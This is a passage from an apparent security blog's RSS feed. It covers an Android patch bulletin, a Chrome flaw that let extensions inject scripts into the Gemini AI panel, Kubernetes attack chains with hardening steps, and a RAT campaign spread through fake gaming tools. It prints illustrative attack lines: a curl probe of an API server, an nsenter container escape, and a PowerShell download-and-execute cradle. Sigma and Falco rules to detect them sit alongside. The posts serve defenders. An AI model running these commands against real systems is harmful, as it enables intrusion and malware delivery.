]]></content:encoded></item><item><title><![CDATA[Android March 2026 Patch: 129 Flaws Fixed, Qualcomm Zero-Day Exploited]]></title><description><![CDATA[Google just dropped its largest Android security update since April 2018 — 129 vulnerabilities patched in a single month, including an actively exploited Qualcomm zero-day. If you manage Android devices in an enterprise environment, this is a priorit...]]></description><link>https://deepseax.hashnode.dev/android-march-2026-patch-129-flaws-fixed-qualcomm-zero-day-exploited</link><guid isPermaLink="true">https://deepseax.hashnode.dev/android-march-2026-patch-129-flaws-fixed-qualcomm-zero-day-exploited</guid><category><![CDATA[Android]]></category><category><![CDATA[#mobilesecurity]]></category><category><![CDATA[qualcomm]]></category><category><![CDATA[ZeroDay]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Tue, 03 Mar 2026 01:13:21 GMT</pubDate><content:encoded><![CDATA[<p>Google just dropped its largest Android security update since April 2018 — 129 vulnerabilities patched in a single month, including an actively exploited Qualcomm zero-day. If you manage Android devices in an enterprise environment, this is a priority patch cycle that demands immediate attention.</p>
<h2 id="heading-what-happened">What Happened</h2>
<p>The March 2026 Android Security Bulletin addresses 129 CVEs across two patch levels (2026-03-01 and 2026-03-05). The headline finding is <strong>CVE-2026-21385</strong>, a memory-corruption vulnerability in Qualcomm's open-source display driver component that Google confirms is "under limited, targeted exploitation" in the wild.</p>
<p>The timeline tells its own story about coordinated disclosure:</p>
<ul>
<li><strong>Dec 18, 2025</strong> — Google reports flaw to Qualcomm</li>
<li><strong>Feb 2, 2026</strong> — Qualcomm notifies OEM customers</li>
<li><strong>Mar 2, 2026</strong> — Public disclosure and patches released</li>
</ul>
<h2 id="heading-technical-breakdown">Technical Breakdown</h2>
<h3 id="heading-cve-2026-21385-the-actively-exploited-zero-day">CVE-2026-21385 — The Actively Exploited Zero-Day</h3>
<p>This memory-corruption bug lives in Qualcomm's open-source display driver and affects a staggering <strong>234 Qualcomm chipsets</strong>. That's not a typo — 234 different SoCs from budget to flagship-tier are vulnerable. The open-source nature of the component means the vulnerable code is publicly auditable, which likely accelerated both discovery and weaponization.</p>
<p>Memory corruption in a display driver is particularly dangerous because:</p>
<ul>
<li>Display drivers operate at <strong>kernel privilege level</strong></li>
<li>They process untrusted input (rendered content) at high frequency</li>
<li>Exploitation can lead to <strong>arbitrary code execution with kernel privileges</strong> (<a target="_blank" href="https://attack.mitre.org/techniques/T1068/">T1068</a>)</li>
</ul>
<h3 id="heading-patch-level-breakdown">Patch Level Breakdown</h3>
<p><strong>2026-03-01 (63 vulnerabilities):</strong>
| Component | Count | Notes |
|-----------|-------|-------|
| Framework | 32 | Largest category — nearly half carry 2025 CVE IDs |
| System | 19 | Core OS components |
| Google Play | 12 | Play Services and Store |</p>
<p><strong>2026-03-05 (66 vulnerabilities):</strong>
| Component | Count | Notes |
|-----------|-------|-------|
| Kernel | 15 | Linux kernel subsystems |
| Qualcomm open-source | 7 | Includes CVE-2026-21385 (zero-day) |
| Qualcomm closed-source | 8 | Binary-only vendor blobs |
| Imagination Technologies | 7 | GPU driver flaws |
| Unisoc | 7 | Budget chipset components |
| Arm | 1 | Mali GPU |</p>
<p>The fact that nearly half the Framework vulnerabilities carry 2025 CVE identifiers suggests these are backlogged fixes that were finally ready for release — a pattern that raises questions about patch pipeline efficiency.</p>
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<p>For MDM and endpoint security teams, here's what to look for:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">Android</span> <span class="hljs-string">Device</span> <span class="hljs-string">Below</span> <span class="hljs-string">March</span> <span class="hljs-number">2026 </span><span class="hljs-string">Patch</span> <span class="hljs-string">Level</span>
<span class="hljs-attr">id:</span> <span class="hljs-string">3b8f2d1a-7c4e-4f9a-b2d1-5e6f7a8b9c0d</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">description:</span> <span class="hljs-string">Detects</span> <span class="hljs-string">Android</span> <span class="hljs-string">devices</span> <span class="hljs-string">that</span> <span class="hljs-string">haven't</span> <span class="hljs-string">applied</span> <span class="hljs-string">the</span> <span class="hljs-string">March</span> <span class="hljs-number">2026 </span><span class="hljs-string">security</span> <span class="hljs-string">patch</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">android</span>
  <span class="hljs-attr">category:</span> <span class="hljs-string">device_compliance</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection:</span>
    <span class="hljs-attr">device.os:</span> <span class="hljs-string">android</span>
    <span class="hljs-string">device.patch_level|lt:</span> <span class="hljs-string">'2026-03-01'</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
<span class="hljs-attr">tags:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.privilege_escalation</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1068</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">cve.2026.21385</span>
</code></pre>
<p><strong>Enterprise MDM queries:</strong></p>
<ul>
<li><strong>Intune/Endpoint Manager</strong>: Filter devices where <code>SecurityPatchLevel &lt; 2026-03-05</code></li>
<li><strong>Google Workspace</strong>: Admin Console → Devices → filter by security patch level</li>
<li><strong>Qualcomm chipset exposure</strong>: Cross-reference device inventory against Qualcomm's <a target="_blank" href="https://docs.qualcomm.com/product/publicresources/securitybulletin/march-2026-bulletin.html">234 affected chipset list</a></li>
</ul>
<h2 id="heading-mitigation-steps">Mitigation Steps</h2>
<ol>
<li><strong>Patch immediately</strong> — apply 2026-03-05 patch level (covers both batches including the zero-day)</li>
<li><strong>Prioritize Qualcomm devices</strong> — the actively exploited CVE-2026-21385 affects 234 chipsets; if your fleet includes Snapdragon-based devices, they're in scope</li>
<li><strong>Enforce MDM compliance</strong> — block corporate resource access for devices below the March 2026 patch level</li>
<li><strong>Monitor for exploitation</strong> — watch for unusual display driver crashes or kernel panics on Android endpoints, which could indicate exploitation attempts</li>
<li><strong>Check OEM patch availability</strong> — Samsung, Pixel, and OnePlus typically ship fastest; other OEMs may lag by weeks</li>
</ol>
<h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>129 patches in one month — the highest since 2018 — signals either a growing attack surface in Android or improved vulnerability discovery (likely both). The Qualcomm zero-day affecting 234 chipsets demonstrates why the Android ecosystem's fragmented patch delivery remains its Achilles' heel: Google can release patches, but OEMs control when devices actually receive them.</p>
<p>For defenders: treat Android patch management with the same urgency as Windows Patch Tuesday. The days of "phones are less targeted" are long gone.</p>
<p><em>Source: <a target="_blank" href="https://cyberscoop.com/android-security-update-march-2026/">CyberScoop</a></em></p>
<hr />
<blockquote>
<p>Need help assessing your exposure? Request a <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> — currently in open beta.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[CVE-2026-0628: Chrome Extensions Exploit Gemini Panel for Privilege Escalation]]></title><description><![CDATA[Google Chrome's integration of AI capabilities through the Gemini panel has introduced a critical attack surface that security teams need to address immediately. CVE-2026-0628 (CVSS 8.8) — an insufficient policy enforcement flaw in Chrome's WebView t...]]></description><link>https://deepseax.hashnode.dev/cve-2026-0628-chrome-extensions-exploit-gemini-panel-for-privilege-escalation</link><guid isPermaLink="true">https://deepseax.hashnode.dev/cve-2026-0628-chrome-extensions-exploit-gemini-panel-for-privilege-escalation</guid><category><![CDATA[Chromesecurity]]></category><category><![CDATA[browsersecurity ]]></category><category><![CDATA[Cve2026]]></category><category><![CDATA[#PrivilegeEscalation]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Mon, 02 Mar 2026 21:10:12 GMT</pubDate><content:encoded><![CDATA[<p>Google Chrome's integration of AI capabilities through the Gemini panel has introduced a critical attack surface that security teams need to address immediately. CVE-2026-0628 (CVSS 8.8) — an insufficient policy enforcement flaw in Chrome's WebView tag — allowed malicious browser extensions to inject scripts into the privileged Gemini Live panel, escalating from a simple extension to full system-level access.</p>
<h2 id="heading-what-happened">What Happened</h2>
<p>Discovered by Gal Weizman of Palo Alto Networks Unit 42 in November 2025, the vulnerability affects Chrome versions prior to 143.0.7499.192 on Linux and 143.0.7499.193 on Windows/Mac. Google patched it in January 2026, but the implications for browser-based AI security are significant.</p>
<p>The core issue: Chrome grants the Gemini panel elevated permissions for multi-step AI operations — camera access, screenshot capabilities, local file reads. Extensions exploiting CVE-2026-0628 could hijack these privileges through script injection into the WebView context.</p>
<h2 id="heading-technical-breakdown">Technical Breakdown</h2>
<p>The attack chain leverages the <code>declarativeNetRequest</code> API — the same API used legitimately by ad-blockers — to intercept requests destined for the Gemini panel. Here's the exploitation flow:</p>
<ol>
<li><strong>Malicious extension installed</strong> — disguised as a productivity tool or ad-blocker</li>
<li><strong>Request interception</strong> — extension uses <code>declarativeNetRequest</code> to modify requests to <code>gemini.google.com/app</code></li>
<li><strong>Script injection</strong> — attacker injects JavaScript into the privileged Gemini WebView context</li>
<li><strong>Privilege escalation</strong> — injected code inherits Gemini's elevated permissions</li>
</ol>
<p>Once inside the Gemini context, the attacker gains:</p>
<ul>
<li><strong>Camera and microphone access</strong> — live surveillance without user prompts</li>
<li><strong>Screenshot capability</strong> — capture any open website or tab</li>
<li><strong>Local file access</strong> — read files from the victim's filesystem</li>
<li><strong>Arbitrary code execution</strong> — run JavaScript with Gemini-level privileges at <code>gemini.google[.]com/app</code></li>
</ul>
<p>This is a textbook case of <a target="_blank" href="https://attack.mitre.org/techniques/T1068/">T1068 — Exploitation for Privilege Escalation</a> applied to the browser extension model.</p>
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<p>SOC teams should hunt for extensions abusing <code>declarativeNetRequest</code> rules targeting Google AI endpoints. Here's a Sigma-style detection rule:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">Suspicious</span> <span class="hljs-string">Chrome</span> <span class="hljs-string">Extension</span> <span class="hljs-string">Targeting</span> <span class="hljs-string">Gemini</span> <span class="hljs-string">Panel</span>
<span class="hljs-attr">id:</span> <span class="hljs-string">7a2e4f1b-9c3d-4e5f-8a6b-1c2d3e4f5a6b</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">description:</span> <span class="hljs-string">Detects</span> <span class="hljs-string">Chrome</span> <span class="hljs-string">extensions</span> <span class="hljs-string">with</span> <span class="hljs-string">declarativeNetRequest</span> <span class="hljs-string">rules</span> <span class="hljs-string">targeting</span> <span class="hljs-string">Gemini/AI</span> <span class="hljs-string">endpoints</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">chrome</span>
  <span class="hljs-attr">category:</span> <span class="hljs-string">extension_install</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection:</span>
    <span class="hljs-string">extension.permissions|contains:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'declarativeNetRequest'</span>
    <span class="hljs-string">extension.host_permissions|contains:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'gemini.google.com'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'aistudio.google.com'</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
<span class="hljs-attr">tags:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.privilege_escalation</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1068</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">cve.2026.0628</span>
</code></pre>
<p>Additionally, monitor for these indicators in enterprise Chrome deployments:</p>
<ul>
<li>Extensions requesting both <code>declarativeNetRequest</code> and access to <code>*.google.com</code> origins</li>
<li>WebView process spawns from extension contexts targeting AI panel URLs</li>
<li>Unexpected camera/microphone permission grants from Gemini-related origins</li>
</ul>
<h2 id="heading-mitigation-steps">Mitigation Steps</h2>
<ol>
<li><strong>Patch immediately</strong> — update Chrome to 143.0.7499.192+ (Linux) or 143.0.7499.193+ (Windows/Mac)</li>
<li><strong>Audit installed extensions</strong> — review all extensions with <code>declarativeNetRequest</code> permissions via <code>chrome://extensions</code></li>
<li><strong>Deploy Chrome Enterprise policies</strong> — restrict extension installation to allowlisted IDs using <code>ExtensionInstallAllowlist</code></li>
<li><strong>Monitor AI panel access</strong> — log and alert on Gemini panel interactions from extension contexts</li>
<li><strong>Enable Chrome Enhanced Protection</strong> — <code>chrome://settings/security</code> → Enhanced protection</li>
</ol>
<h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>This vulnerability highlights a growing attack surface: <strong>AI agents with elevated browser privileges</strong>. As browsers integrate more AI capabilities — Google Gemini, Microsoft Copilot, Apple Intelligence — each AI panel becomes a high-value target for extension-based attacks. The <code>declarativeNetRequest</code> API was designed for legitimate content filtering, but its ability to intercept and modify requests makes it a powerful tool for attackers when combined with AI panel privileges.</p>
<p>Security teams should treat browser AI integrations as privileged endpoints and apply zero-trust principles to extension permissions accordingly.</p>
<p><em>Source: <a target="_blank" href="https://thehackernews.com/2026/03/new-chrome-vulnerability-let-malicious.html">The Hacker News</a></em></p>
<hr />
<blockquote>
<p>Need help assessing your exposure? Request a <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> — currently in open beta.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Kubernetes Cluster Attacks Surge in 2026: How to Harden Your K8s]]></title><description><![CDATA[As Kubernetes adoption surges across enterprise environments, attackers are developing increasingly sophisticated exploits targeting misconfigured clusters. In March 2026, CSO Online reported a sharp uptick in Kubernetes-specific attack tooling — fro...]]></description><link>https://deepseax.hashnode.dev/kubernetes-cluster-attacks-surge-in-2026-how-to-harden-your-k8s</link><guid isPermaLink="true">https://deepseax.hashnode.dev/kubernetes-cluster-attacks-surge-in-2026-how-to-harden-your-k8s</guid><category><![CDATA[cloudsecurity]]></category><category><![CDATA[containersecurity]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[ThreatDetection]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Mon, 02 Mar 2026 05:08:57 GMT</pubDate><content:encoded><![CDATA[<p>As Kubernetes adoption surges across enterprise environments, attackers are developing increasingly sophisticated exploits targeting misconfigured clusters. In March 2026, <a target="_blank" href="https://www.csoonline.com/article/3492006/kubernetes-security-wie-sie-ihre-cluster-besser-absichern.html">CSO Online reported</a> a sharp uptick in Kubernetes-specific attack tooling — from privilege escalation via exposed API servers to cryptominer deployments through compromised pods.</p>
<p>If you're running K8s in production, here's what you need to know right now.</p>
<h2 id="heading-why-kubernetes-is-under-fire">Why Kubernetes Is Under Fire</h2>
<p>Kubernetes manages over 60% of containerized workloads globally. Its attack surface is vast: API servers, etcd datastores, kubelet endpoints, service accounts, and container runtimes all present distinct threat vectors. Attackers know that a single misconfigured RBAC policy can yield cluster-admin access.</p>
<p><strong>Key attack trends in 2026:</strong></p>
<ul>
<li>Exposed Kubernetes API servers on public internet (Shodan shows 380,000+ instances)</li>
<li>Cryptojacking via pod deployment using stolen service account tokens</li>
<li>Container escape exploits targeting runc and containerd CVEs</li>
<li>Supply chain attacks through malicious Helm charts and container images</li>
</ul>
<h2 id="heading-technical-breakdown-common-attack-chains">Technical Breakdown: Common Attack Chains</h2>
<h3 id="heading-1-api-server-exploitation-t1190">1. API Server Exploitation (T1190)</h3>
<p>Unauthenticated access to the Kubernetes API server remains the most common initial access vector:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Attacker discovers exposed API server</span>
curl -sk https://target:6443/api/v1/namespaces/default/pods
<span class="hljs-comment"># If anonymous auth enabled, full cluster access is possible</span>
</code></pre>
<h3 id="heading-2-privilege-escalation-via-service-accounts-t1078004">2. Privilege Escalation via Service Accounts (T1078.004)</h3>
<p>Default service account tokens mounted in pods often have excessive permissions:</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Dangerous: pod with cluster-admin service account</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">serviceAccountName:</span> <span class="hljs-string">cluster-admin-sa</span>
  <span class="hljs-attr">containers:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">attacker-pod</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">alpine</span>
    <span class="hljs-attr">command:</span> [<span class="hljs-string">"/bin/sh"</span>]
</code></pre>
<h3 id="heading-3-container-escape-t1611">3. Container Escape (T1611)</h3>
<p>Privileged containers or those with <code>hostPID</code>/<code>hostNetwork</code> can break out to the node:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># From inside a privileged container</span>
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
<span class="hljs-comment"># Now running as root on the host node</span>
</code></pre>
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<h3 id="heading-sigma-rule-suspicious-kubernetes-api-access">Sigma Rule: Suspicious Kubernetes API Access</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">Unauthorized</span> <span class="hljs-string">Kubernetes</span> <span class="hljs-string">API</span> <span class="hljs-string">Server</span> <span class="hljs-string">Access</span> <span class="hljs-string">Attempt</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">kubernetes</span>
  <span class="hljs-attr">service:</span> <span class="hljs-string">audit</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection:</span>
    <span class="hljs-attr">verb:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">create</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">patch</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">delete</span>
    <span class="hljs-attr">objectRef.resource:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">pods</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">deployments</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">daemonsets</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">secrets</span>
    <span class="hljs-attr">user.username:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">system:anonymous</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">system:unauthenticated</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">critical</span>
<span class="hljs-attr">tags:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.initial_access</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1190</span>
</code></pre>
<h3 id="heading-falco-rule-container-escape-detection">Falco Rule: Container Escape Detection</h3>
<pre><code class="lang-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">rule:</span> <span class="hljs-string">Container</span> <span class="hljs-string">Escape</span> <span class="hljs-string">via</span> <span class="hljs-string">nsenter</span>
  <span class="hljs-attr">desc:</span> <span class="hljs-string">Detect</span> <span class="hljs-string">nsenter</span> <span class="hljs-string">usage</span> <span class="hljs-string">indicating</span> <span class="hljs-string">container</span> <span class="hljs-string">breakout</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">&gt;
    spawned_process and container and
    proc.name = "nsenter" and
    proc.args contains "--target 1"
</span>  <span class="hljs-attr">output:</span> <span class="hljs-string">&gt;
    Container escape attempt detected
    (user=%user.name container=%container.name
     command=%proc.cmdline image=%container.image.repository)
</span>  <span class="hljs-attr">priority:</span> <span class="hljs-string">CRITICAL</span>
  <span class="hljs-attr">tags:</span> [<span class="hljs-string">container</span>, <span class="hljs-string">mitre_privilege_escalation</span>, <span class="hljs-string">T1611</span>]
</code></pre>
<h3 id="heading-key-log-queries">Key Log Queries</h3>
<p>Monitor your Kubernetes audit logs for these patterns:</p>
<pre><code># Anonymous API access
objectRef.resource=<span class="hljs-string">"secrets"</span> AND user.username=<span class="hljs-string">"system:anonymous"</span>

# Pod creation <span class="hljs-keyword">with</span> host namespaces
requestObject.spec.hostPID=<span class="hljs-literal">true</span> OR requestObject.spec.hostNetwork=<span class="hljs-literal">true</span>

# Service account token theft
objectRef.resource=<span class="hljs-string">"serviceaccounts/token"</span> AND verb=<span class="hljs-string">"create"</span>
</code></pre><h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Kubernetes Context</td></tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application</td><td>T1190</td><td>Exposed API server</td></tr>
<tr>
<td>Valid Accounts: Cloud Accounts</td><td>T1078.004</td><td>Service account abuse</td></tr>
<tr>
<td>Escape to Host</td><td>T1611</td><td>Container breakout</td></tr>
<tr>
<td>Deploy Container</td><td>T1610</td><td>Malicious pod deployment</td></tr>
<tr>
<td>Unsecured Credentials</td><td>T1552.007</td><td>etcd secrets extraction</td></tr>
<tr>
<td>Resource Hijacking</td><td>T1496</td><td>Cryptomining in pods</td></tr>
</tbody>
</table>
</div><h2 id="heading-hardening-checklist">Hardening Checklist</h2>
<p><strong>Immediate actions:</strong></p>
<ul>
<li>Disable anonymous authentication on the API server (<code>--anonymous-auth=false</code>)</li>
<li>Enable RBAC and apply least-privilege policies — never use <code>cluster-admin</code> for workloads</li>
<li>Restrict pod security with Pod Security Standards (PSS) in <code>restricted</code> mode</li>
<li>Rotate service account tokens and disable auto-mounting where not needed</li>
<li>Network policies: deny all ingress/egress by default, allow explicitly</li>
<li>Enable audit logging with at least <code>Metadata</code> level for all resources</li>
</ul>
<p><strong>Supply chain hardening:</strong></p>
<ul>
<li>Scan container images with Trivy or Grype before deployment</li>
<li>Use signed images with Cosign/Sigstore verification</li>
<li>Pin image digests instead of tags in production manifests</li>
<li>Audit Helm charts and third-party operators before installation</li>
</ul>
<p><strong>Runtime protection:</strong></p>
<ul>
<li>Deploy Falco or Tetragon for runtime threat detection</li>
<li>Monitor for privileged container launches and host namespace access</li>
<li>Alert on anomalous network connections from pods</li>
<li>Implement resource quotas to limit cryptomining impact</li>
</ul>
<h2 id="heading-summary">Summary</h2>
<p>Kubernetes security requires defense in depth: secure the API server, enforce least-privilege RBAC, lock down pod security, and monitor runtime behavior. The detection rules above give your SOC team immediate visibility into the most common K8s attack patterns.</p>
<blockquote>
<p>Need help assessing your Kubernetes security posture? Apply to our <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> — limited slots available.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Gamers Beware: Fake Roblox and Xeno Tools Are Spreading a Windows RAT]]></title><description><![CDATA[The Threat
Microsoft Threat Intelligence has issued a warning about a campaign targeting gamers through fake versions of popular tools like Xeno and Roblox PlayerBeta. These trojanized executables are being distributed through browsers and chat platf...]]></description><link>https://deepseax.hashnode.dev/gamers-beware-fake-roblox-and-xeno-tools-are-spreading-a-windows-rat</link><guid isPermaLink="true">https://deepseax.hashnode.dev/gamers-beware-fake-roblox-and-xeno-tools-are-spreading-a-windows-rat</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[malware analysis]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Mon, 02 Mar 2026 03:08:44 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-the-threat">The Threat</h2>
<p>Microsoft Threat Intelligence has issued a warning about a campaign targeting gamers through fake versions of popular tools like <strong>Xeno</strong> and <strong>Roblox PlayerBeta</strong>. These trojanized executables are being distributed through browsers and chat platforms, delivering a sophisticated multi-stage Remote Access Trojan (RAT).</p>
<p>What makes this campaign dangerous is its abuse of <strong>Living-off-the-Land Binaries (LOLBins)</strong> and PowerShell — legitimate Windows tools that bypass many security solutions.</p>
<h2 id="heading-how-the-attack-works">How the Attack Works</h2>
<p>The infection follows a carefully staged chain:</p>
<h3 id="heading-stage-1-the-lure">Stage 1 — The Lure</h3>
<p>Victims download what appears to be a legitimate gaming utility (<code>Xeno.exe</code> or <code>RobloxPlayerBeta.exe</code>). These files are distributed through gaming forums, Discord servers, and direct browser downloads.</p>
<h3 id="heading-stage-2-payload-delivery">Stage 2 — Payload Delivery</h3>
<p>The initial executable acts as a downloader. It installs a portable Java runtime and launches <code>jd-gui.jar</code> — a malicious Java archive that continues the infection chain.</p>
<h3 id="heading-stage-3-powershell-execution">Stage 3 — PowerShell Execution</h3>
<p>PowerShell scripts reach out to remote infrastructure (including PythonAnywhere-hosted endpoints) and download <code>update.exe</code> to the local AppData directory.</p>
<pre><code class="lang-powershell"><span class="hljs-comment"># Simplified representation of the attack pattern</span>
<span class="hljs-comment"># Actual commands are obfuscated in the wild</span>
powershell <span class="hljs-literal">-w</span> <span class="hljs-keyword">hidden</span> <span class="hljs-literal">-ep</span> bypass <span class="hljs-literal">-c</span> <span class="hljs-string">"IEX(New-Object Net.WebClient).DownloadString('hxxps://[REDACTED]')"</span>
</code></pre>
<h3 id="heading-stage-4-lolbin-abuse">Stage 4 — LOLBin Abuse</h3>
<p>The campaign abuses <code>cmstp.exe</code> (Microsoft Connection Manager Profile Installer) — a signed Windows binary — to execute malicious actions while appearing legitimate to security tools.</p>
<h3 id="heading-stage-5-persistence">Stage 5 — Persistence</h3>
<p>The RAT establishes persistence through:</p>
<ul>
<li><strong>Scheduled tasks</strong> for recurring execution</li>
<li><strong>Startup scripts</strong> (<code>world.vbs</code>) for boot persistence</li>
<li><strong>Defender exclusions</strong> — the malware modifies Microsoft Defender settings to whitelist its own components</li>
</ul>
<h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Usage</td></tr>
</thead>
<tbody>
<tr>
<td>Command &amp; Scripting Interpreter</td><td>T1059.001</td><td>PowerShell payload delivery</td></tr>
<tr>
<td>Signed Binary Proxy Execution</td><td>T1218</td><td>cmstp.exe abuse</td></tr>
<tr>
<td>Boot/Logon Autostart Execution</td><td>T1547</td><td>world.vbs startup persistence</td></tr>
<tr>
<td>Modify Registry</td><td>T1112</td><td>Defender exclusion tampering</td></tr>
</tbody>
</table>
</div><h2 id="heading-detection-strategies">Detection Strategies</h2>
<h3 id="heading-for-security-teams">For Security Teams</h3>
<p><strong>1. Monitor PowerShell Activity</strong></p>
<p>Look for encoded commands, <code>IEX</code> calls, and downloads from unusual domains:</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Sigma-style detection</span>
<span class="hljs-attr">title:</span> <span class="hljs-string">Suspicious</span> <span class="hljs-string">PowerShell</span> <span class="hljs-string">Download</span> <span class="hljs-string">Pattern</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">windows</span>
  <span class="hljs-attr">category:</span> <span class="hljs-string">process_creation</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection:</span>
    <span class="hljs-string">CommandLine|contains:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'DownloadString'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'IEX'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'-EncodedCommand'</span>
    <span class="hljs-string">ParentImage|endswith:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'\java.exe'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'\javaw.exe'</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
</code></pre>
<p><strong>2. Watch for LOLBin Abuse</strong></p>
<p>Alert on <code>cmstp.exe</code> executing outside normal administrative contexts.</p>
<p><strong>3. Audit Defender Exclusions</strong></p>
<p>Regularly check for unauthorized exclusion entries:</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">Get-MpPreference</span> | <span class="hljs-built_in">Select-Object</span> <span class="hljs-literal">-ExpandProperty</span> ExclusionPath
</code></pre>
<p><strong>4. Hunt for Persistence</strong></p>
<p>Search for unexpected <code>.vbs</code> files in startup locations and suspicious scheduled tasks.</p>
<h3 id="heading-for-gamers">For Gamers</h3>
<ul>
<li><strong>Only download tools from official sources</strong> — never from random Discord links or forum posts</li>
<li><strong>Verify file hashes</strong> before running executables</li>
<li><strong>Enable Windows Defender</strong> and don't approve exclusion prompts you didn't initiate</li>
<li><strong>Check Task Manager</strong> for unexpected processes after installing new tools</li>
</ul>
<h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>This campaign highlights a growing trend: <strong>attackers targeting gaming communities</strong> as an entry point. Gamers often disable security tools for performance, run executables from unverified sources, and have always-on systems — making them ideal targets.</p>
<p>The use of LOLBins like <code>cmstp.exe</code> is particularly concerning because these are signed Microsoft binaries that many EDR solutions trust by default. Organizations should implement application control policies that monitor LOLBin usage patterns, not just block unsigned executables.</p>
<hr />
<p><em>Need help assessing your exposure? Apply to our <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> at theinsider-x.com — limited slots available.</em></p>
]]></content:encoded></item><item><title><![CDATA[QuickLens Chrome Extension Compromised to Steal Crypto via ClickFix Attacks]]></title><description><![CDATA[What Happened
